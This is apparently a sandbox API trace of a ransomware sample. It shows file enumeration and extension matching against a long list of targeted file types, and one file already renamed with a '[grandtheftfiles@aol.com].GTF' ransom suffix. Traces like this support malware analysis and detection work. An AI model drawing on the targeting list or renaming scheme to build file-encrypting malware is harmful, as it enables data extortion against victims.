	[0064.428] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".hta") returned 4
	[0064.428] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".htc") returned 4
	[0064.428] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".htm") returned 4
	[0064.428] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".html") returned 5
	[0064.428] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0064.428] lstrlenW (lpString=".icb") returned 4
	[0064.428] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".ics") returned 4
	[0064.428] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".iff") returned 4
	[0064.428] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".inc") returned 4
	[0064.428] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".indd") returned 5
	[0064.428] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0064.428] lstrlenW (lpString=".ini") returned 4
	[0064.428] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".iqy") returned 4
	[0064.428] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".j2c") returned 4
	[0064.428] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".j2k") returned 4
	[0064.428] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".java") returned 5
	[0064.428] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0064.428] lstrlenW (lpString=".jp2") returned 4
	[0064.428] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".jpc") returned 4
	[0064.428] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".jpe") returned 4
	[0064.429] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".jpeg") returned 5
	[0064.429] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0064.429] lstrlenW (lpString=".jpf") returned 4
	[0064.429] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".jpg") returned 4
	[0064.429] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".jpx") returned 4
	[0064.429] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".js") returned 3
	[0064.429] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0064.429] lstrlenW (lpString=".jsf") returned 4
	[0064.429] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".json") returned 5
	[0064.429] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0064.429] lstrlenW (lpString=".jsp") returned 4
	[0064.429] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".kdc") returned 4
	[0064.429] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".kmz") returned 4
	[0064.429] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".kwm") returned 4
	[0064.429] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".lasso") returned 6
	[0064.429] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0064.429] lstrlenW (lpString=".lbi") returned 4
	[0064.429] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".lgf") returned 4
	[0064.429] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".lgp") returned 4
	[0064.429] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".log") returned 4
	[0064.429] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".m1v") returned 4
	[0064.429] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".m4a") returned 4
	[0064.429] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0064.429] lstrlenW (lpString=".m4v") returned 4
	[0064.430] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".max") returned 4
	[0064.430] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".md") returned 3
	[0064.430] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0064.430] lstrlenW (lpString=".mda") returned 4
	[0064.430] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".mdb") returned 4
	[0064.430] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".mde") returned 4
	[0064.430] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".mdf") returned 4
	[0064.430] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".mdw") returned 4
	[0064.430] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".mef") returned 4
	[0064.430] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".mft") returned 4
	[0064.430] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".mfw") returned 4
	[0064.430] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".mht") returned 4
	[0064.430] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".mhtml") returned 6
	[0064.430] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0064.430] lstrlenW (lpString=".mka") returned 4
	[0064.430] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".mkidx") returned 6
	[0064.430] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0064.430] lstrlenW (lpString=".mkv") returned 4
	[0064.430] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".mos") returned 4
	[0064.430] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".mov") returned 4
	[0064.430] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0064.430] lstrlenW (lpString=".mp3") returned 4
	[0064.431] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".mp4") returned 4
	[0064.431] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".mpeg") returned 5
	[0064.431] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0064.431] lstrlenW (lpString=".mpg") returned 4
	[0064.431] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".mpv") returned 4
	[0064.431] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".mrw") returned 4
	[0064.431] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".msg") returned 4
	[0064.431] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".mxl") returned 4
	[0064.431] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".myd") returned 4
	[0064.431] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".myi") returned 4
	[0064.431] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".nef") returned 4
	[0064.431] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".nrw") returned 4
	[0064.431] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".obj") returned 4
	[0064.431] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".odb") returned 4
	[0064.431] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".odc") returned 4
	[0064.431] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".odm") returned 4
	[0064.431] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".odp") returned 4
	[0064.431] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".ods") returned 4
	[0064.431] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".oft") returned 4
	[0064.431] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0064.431] lstrlenW (lpString=".one") returned 4
	[0064.432] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".onepkg") returned 7
	[0064.432] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0064.432] lstrlenW (lpString=".onetoc2") returned 8
	[0064.432] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0064.432] lstrlenW (lpString=".opt") returned 4
	[0064.432] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".oqy") returned 4
	[0064.432] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".orf") returned 4
	[0064.432] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".p12") returned 4
	[0064.432] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".p7b") returned 4
	[0064.432] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".p7c") returned 4
	[0064.432] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".pam") returned 4
	[0064.432] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".pbm") returned 4
	[0064.432] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".pct") returned 4
	[0064.432] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".pcx") returned 4
	[0064.432] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".pdd") returned 4
	[0064.432] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".pdf") returned 4
	[0064.432] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".pdp") returned 4
	[0064.432] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".pef") returned 4
	[0064.432] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".pem") returned 4
	[0064.432] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0064.432] lstrlenW (lpString=".pff") returned 4
	[0064.432] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0064.433] lstrlenW (lpString=".pfm") returned 4
	[0064.433] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0064.433] lstrlenW (lpString=".pfx") returned 4
	[0064.433] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0064.433] lstrlenW (lpString=".pgm") returned 4
	[0064.433] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0064.433] lstrlenW (lpString=".php") returned 4
	[0064.433] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0064.433] lstrlenW (lpString=".php3") returned 5
	[0064.433] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0064.433] lstrlenW (lpString=".php4") returned 5
	[0064.433] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0064.433] lstrlenW (lpString=".php5") returned 5
	[0064.433] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0064.433] lstrlenW (lpString=".phtml") returned 6
	[0064.433] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0064.433] lstrlenW (lpString=".pict") returned 5
	[0064.433] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0064.433] lstrlenW (lpString=".pl") returned 3
	[0064.433] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0064.433] lstrlenW (lpString=".pls") returned 4
	[0064.433] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0064.433] lstrlenW (lpString=".pm") returned 3
	[0064.433] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0064.433] lstrlenW (lpString=".png") returned 4
	[0064.433] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0064.433] lstrlenW (lpString=".pnm") returned 4
	[0064.433] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0064.433] lstrlenW (lpString=".pot") returned 4
	[0064.433] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0064.433] lstrlenW (lpString=".potm") returned 5
	[0064.433] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0064.433] lstrlenW (lpString=".potx") returned 5
	[0064.433] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0064.433] lstrlenW (lpString=".ppa") returned 4
	[0064.433] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0064.434] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0064.434] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb3e4ff, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0064.434] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0064.434] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0064.434] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0064.434] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0064.434] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0064.434] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0064.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26
	[0064.434] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9dc34d6d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811c88
	[0064.434] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9dc34d6d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.435] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0064.435] lstrlenW (lpString="eula.rtf") returned 8
	[0064.435] lstrlenW (lpString=".1cd") returned 4
	[0064.435] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0064.435] lstrlenW (lpString=".3ds") returned 4
	[0064.435] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0064.435] lstrlenW (lpString=".3fr") returned 4
	[0064.435] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0064.435] lstrlenW (lpString=".3g2") returned 4
	[0064.435] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0064.435] lstrlenW (lpString=".3gp") returned 4
	[0064.435] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0064.435] lstrlenW (lpString=".7z") returned 3
	[0064.435] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0064.435] lstrlenW (lpString=".accda") returned 6
	[0064.435] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0064.435] lstrlenW (lpString=".accdb") returned 6
	[0064.435] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0064.435] lstrlenW (lpString=".accdc") returned 6
	[0064.435] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0064.435] lstrlenW (lpString=".accde") returned 6
	[0064.435] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0064.435] lstrlenW (lpString=".accdt") returned 6
	[0064.435] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0064.435] lstrlenW (lpString=".accdw") returned 6
	[0064.435] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0064.435] lstrlenW (lpString=".adb") returned 4
	[0064.435] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0064.435] lstrlenW (lpString=".adp") returned 4
	[0064.435] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0064.435] lstrlenW (lpString=".ai") returned 3
	[0064.435] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0064.435] lstrlenW (lpString=".ai3") returned 4
	[0064.435] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0064.435] lstrlenW (lpString=".ai4") returned 4
	[0064.436] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0064.436] lstrlenW (lpString=".ai5") returned 4
	[0064.436] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0064.436] lstrlenW (lpString=".ai6") returned 4
	[0064.436] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0064.436] lstrlenW (lpString=".ai7") returned 4
	[0064.436] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0064.436] lstrlenW (lpString=".ai8") returned 4
	[0064.436] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0064.436] lstrlenW (lpString=".anim") returned 5
	[0064.436] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0064.436] lstrlenW (lpString=".arw") returned 4
	[0064.436] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0064.436] lstrlenW (lpString=".as") returned 3
	[0064.436] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0064.436] lstrlenW (lpString=".asa") returned 4
	[0064.436] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0064.436] lstrlenW (lpString=".asc") returned 4
	[0064.436] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0064.437] lstrlenW (lpString=".ascx") returned 5
	[0064.437] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0064.437] lstrlenW (lpString=".asm") returned 4
	[0064.437] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0064.437] lstrlenW (lpString=".asmx") returned 5
	[0064.437] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0064.437] lstrlenW (lpString=".asp") returned 4
	[0064.437] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0064.437] lstrlenW (lpString=".aspx") returned 5
	[0064.437] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0064.437] lstrlenW (lpString=".asr") returned 4
	[0064.437] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0064.437] lstrlenW (lpString=".asx") returned 4
	[0064.437] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0064.437] lstrlenW (lpString=".avi") returned 4
	[0064.437] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0064.437] lstrlenW (lpString=".avs") returned 4
	[0064.437] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0064.437] lstrlenW (lpString=".backup") returned 7
	[0064.437] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0064.437] lstrlenW (lpString=".bak") returned 4
	[0064.437] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0064.437] lstrlenW (lpString=".bay") returned 4
	[0064.437] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0064.437] lstrlenW (lpString=".bd") returned 3
	[0064.437] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0064.437] lstrlenW (lpString=".bin") returned 4
	[0064.437] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0064.437] lstrlenW (lpString=".bmp") returned 4
	[0064.437] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0064.437] lstrlenW (lpString=".bz2") returned 4
	[0064.437] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0064.437] lstrlenW (lpString=".c") returned 2
	[0064.437] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0064.437] lstrlenW (lpString=".cdr") returned 4
	[0064.437] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0064.437] lstrlenW (lpString=".cer") returned 4
	[0064.437] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".cf") returned 3
	[0064.438] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0064.438] lstrlenW (lpString=".cfc") returned 4
	[0064.438] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".cfm") returned 4
	[0064.438] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".cfml") returned 5
	[0064.438] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0064.438] lstrlenW (lpString=".cfu") returned 4
	[0064.438] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".chm") returned 4
	[0064.438] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".cin") returned 4
	[0064.438] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".class") returned 6
	[0064.438] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0064.438] lstrlenW (lpString=".clx") returned 4
	[0064.438] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".config") returned 7
	[0064.438] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0064.438] lstrlenW (lpString=".cpp") returned 4
	[0064.438] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".cr2") returned 4
	[0064.438] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".crt") returned 4
	[0064.438] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".crw") returned 4
	[0064.438] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".cs") returned 3
	[0064.438] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0064.438] lstrlenW (lpString=".css") returned 4
	[0064.438] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".csv") returned 4
	[0064.438] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".cub") returned 4
	[0064.438] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0064.438] lstrlenW (lpString=".dae") returned 4
	[0064.439] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0064.439] lstrlenW (lpString=".dat") returned 4
	[0064.439] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0064.439] lstrlenW (lpString=".db") returned 3
	[0064.439] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0064.439] lstrlenW (lpString=".dbf") returned 4
	[0064.439] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0064.439] lstrlenW (lpString=".dbx") returned 4
	[0064.439] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0064.439] lstrlenW (lpString=".dc3") returned 4
	[0064.439] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
